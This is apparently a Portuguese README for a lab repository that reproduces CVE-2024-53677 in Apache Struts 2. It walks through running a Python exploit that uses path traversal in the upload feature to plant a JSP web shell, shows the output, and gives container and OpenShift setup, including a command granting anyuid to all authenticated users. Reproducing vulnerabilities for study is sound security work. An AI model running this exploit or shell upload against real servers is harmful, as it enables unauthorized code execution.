
# Ambiente Vulnerável e Exploit para CVE-2024-53677
Este repositório fornece um ambiente baseado em contêiner para reproduzir a vulnerabilidade CVE-2024-53677 no Apache Struts 2. Esta vulnerabilidade envolve path traversal e permite execução arbitrária de código (RCE) através da funcionalidade de upload de arquivos no Struts 2.
O ambiente pode ser construído e executado usando o Podman. Siga estes passos para configurar a aplicação:
git clone https://github.com/seanrickerd/CVE-2024-53677.git
cd CVE-2024-53677
podman build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
podman run -d -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677
Executando o exploit:
pip install -r requirements.txt
python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files newshell.jsp --destination ../newshell.jsp
Há um problema intermitente em que o arquivo é carregado corretamente, mas não fica acessível. Para contornar isso, você precisará adicionar um ponto extra ao destino e, em seguida, executar novamente o comando original.
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination ../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: ../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/shell.jsp
[INFO] File not accessible. HTTP Status: 404
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination .../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: .../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/.../shell.jsp
[INFO] File not accessible. HTTP Status: 404
$ python S2-067.py -u http://localhost:8080 --upload_endpoint /upload.action --files shell.jsp --destination ../shell.jsp
[INFO] Uploading files to http://localhost:8080/upload.action...
[SUCCESS] File newshell.jsp uploaded successfully: ../shell.jsp
[INFO] Verifying uploaded file: http://localhost:8080/shell.jsp
[ALERT] File uploaded and accessible: http://localhost:8080/shell.jsp
O shell estará acessível via navegador em http://localhost:8080/shell.jsp
O OpenShift é seguro por padrão, então você precisará permitir contêineres privilegiados primeiro:
oc adm policy add-scc-to-group anyuid system:authenticated
Se você deseja construir o arquivo de imagem por conta própria, também precisará adicionar as seguintes linhas ao dockerfile:
COPY --from=0 /usr/src/cve/target/upload-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml
O seguinte yaml criará um namespace chamado "vulnerables" e implantará o contêiner vulnerável como um deployment com uma réplica de 1, um serviço e uma rota permitindo acessar a carga de trabalho vulnerável.
Se você mesmo construiu a imagem, precisará alterar a localização da imagem no yaml para refletir a localização da sua imagem.
oc create -f ocp-struts.yaml
Você pode encontrar a rota em Networking -> Routes.
